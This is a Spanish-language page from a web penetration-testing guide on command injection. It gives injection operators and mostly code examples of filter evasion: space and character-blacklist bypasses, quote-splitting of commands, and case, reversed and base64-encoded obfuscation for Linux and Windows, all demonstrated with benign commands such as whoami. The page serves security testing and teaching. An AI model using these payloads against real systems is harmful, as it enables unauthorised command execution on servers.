🟢
Web Application Penetration Testing
  • Inicio
  • General
    • Metodologías y estándares
    • Aplicaciones vulnerables
  • Reconocimiento y recolección de información
    • Web Application Firewall (WAF)
    • Domain Name System (DNS)
    • Subdominios y Virtual Host (VHost)
    • SSL/TLS y algoritmos de cifrados
    • Certificados
    • Tecnologías web
  • Escaneo y enumeración
    • HTTP security headers
    • HTTP methods (verbs)
    • Crawling y spidering
    • Fuzzing
      • Directorios
      • Archivos
      • Extensiones
      • Parámetros
        • GET
        • POST
      • Wordlists
    • Compresión y ofuscación
    • Herramientas automatizadas
  • Explotación
    • API keys
    • Clickjacking
    • HTTP methods (verbs)
    • Input data validation
    • HTTP Host header
    • Autenticación y autorización
      • Cookie
      • JSON Web Token (JWT)
      • OAuth
      • SAML
    • Same-origin policy (SOP)
      • Cross-origin resource sharing (CORS)
    • Cross-site scripting (XSS)
    • Cross-site request forgery (CSRF)
    • File upload
    • Path traversal & file inclusion
    • Command injection
      • Node.js
    • SQL injection (SQLi)
      • MySQL / MariaDB
      • Microsoft SQL Server
      • PostgreSQL
      • Oracle
      • sqlmap
    • NoSQL injection (NoSQLi)
    • XML external entity (XXE) injection
    • CRLF injection
    • XPath injection
    • LDAP injection
    • PDF injection
    • Server-side template injection (SSTI)
    • Server-side include (SSI) injection
    • Server-side parameter pollution
    • Server-side request forgery (SSRF)
    • Web cache poisoning
    • HTTP request smuggling
    • Prototype pollution
    • Type juggling
    • GraphQL
    • Open redirect
    • Content Management System (CMS)
      • WordPress
    • Websocket
    • Deserialization
    • Flash
  • Revisión de código
    • Java
  • Checklist
    • Web application penetration testing
    • Web API penetration testing
Con tecnología de GitBook
En esta página
  • Operadores de inyección
  • Evasión de filtros
  • Bypass de filtro de espacio
  • Bypass de lista negra de caracteres
  • Bypass de lista negra de comandos
  • Ofuscación de comandos

¿Te fue útil?

  1. Explotación

Command injection

AnteriorPath traversal & file inclusionSiguienteNode.js

Última actualización hace 2 meses

¿Te fue útil?

Operadores de inyección

Operador
URL Encode
Ejecución

;

%3b

Ambos

\n

%0a

Ambos

&

%26

Ambos (generalmente la salida del segundo comando se muestra primero)

|

%7c

Ambos (solo se muestra la salida del segundo comando)

&&

%26%26

Ambos (solo si el primer comando tiene éxito)

||

%7c%7c

Segundo comando (solo si el primer comando falla)

``

%60%60

Ambos (solo en Linux/Unix)

$()

%24%28%29

Ambos (solo en Linux/Unix)

Evasión de filtros

Bypass de filtro de espacio

  • Utilización de tabulador: %09

  • Uso de la variable de entorno de Linux/Unix: ${IFS}

  • Bash brace expansion: {ls,-la}

  • .

Bypass de lista negra de caracteres

  • Uso de la variable de entorno.

    • Linux/Unix.

      • / = ${PATH:0:1}

      • ; = ${LS_COLORS:10:1}

      • Búsqueda de carácter en variables de entorno: printenv | grep "{character}"

    • Windows.

# Símbolo del sistema (cmd)
## carácter \
echo %HOMEPATH%
\Users\MrW0l05zyn
echo %HOMEPATH:~6,-10%
\

# PowerShell
## carácter \
$env:HOMEPATH[0]
\
## carácter espacio en blanco
$env:PROGRAMFILES[10]
(espacio en blanco)
## Obtener todas las variables de entorno
Get-ChildItem Env:
  • Cambio de carácter en Linux/Unix.

# Carácter \
## El carácter \ está en la posición 92 y 
## antes está el carácter [ en la posición 91
man ascii
echo $(tr '!-}' '"-~'<<<[)
\

# Carácter ;
## El carácter ; está en la posición 59 y 
## antes está el carácter : en la posición 58
man ascii
echo $(tr '!-}' '"-~'<<<:)
;

Bypass de lista negra de comandos

  • Linux/Unix.

# No mezclar el tipo de comillas y 
# la cantidad de comillas debe ser par
w'h'o'am'i
p'w'd
i'd'
w"h"o"am"i
p"w"d
i"d"

# La cantidad de caracteres "especiales" no debe ser par
who$@ami
p$@wd
i$@d
w\ho\am\i
p\wd
i\d
  • Windows.

# Símbolo del sistema (cmd)
who^ami

# PowerShell
## no mezclar el tipo de comillas y 
## la cantidad de comillas debe ser par
w'h'o'am'i
p'w'd
w"h"o"am"i
p"w"d

Ofuscación de comandos

  • Variaciones de mayúsculas y minúsculas.

# Linux/Unix
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
## URL encode
$(tr+"[A-Z]"+"[a-z]"<<<"WhOaMi")
## Utilización de tabulador %09
$(tr%09"[A-Z]"%09"[a-z]"<<<"WhOaMi")
## Uso de la variable de entorno ${IFS}
$(tr${IFS}"[A-Z]"${IFS}"[a-z]"<<<"WhOaMi")

# Windows
## Símbolo del sistema (cmd)
WhOaMi

## PowerShell
WhOaMi
  • Comandos invertidos.

# Linux/Unix
echo 'whoami' | rev
imaohw
$(rev<<<'imaohw')

# Windows
## PowerShell
"whoami"[-1..-20] -join ''
iex "$('imaohw'[-1..-20] -join '')"
  • Comandos encodeados.

# Linux/Unix
echo -n 'whoami' | base64
d2hvYW1p
bash<<<$(base64 -d<<<d2hvYW1p)
sh<<<$(base64 -d<<<d2hvYW1p)

# Windows
## PowerShell
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))
dwBoAG8AYQBtAGkA
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"
Payloads All The Things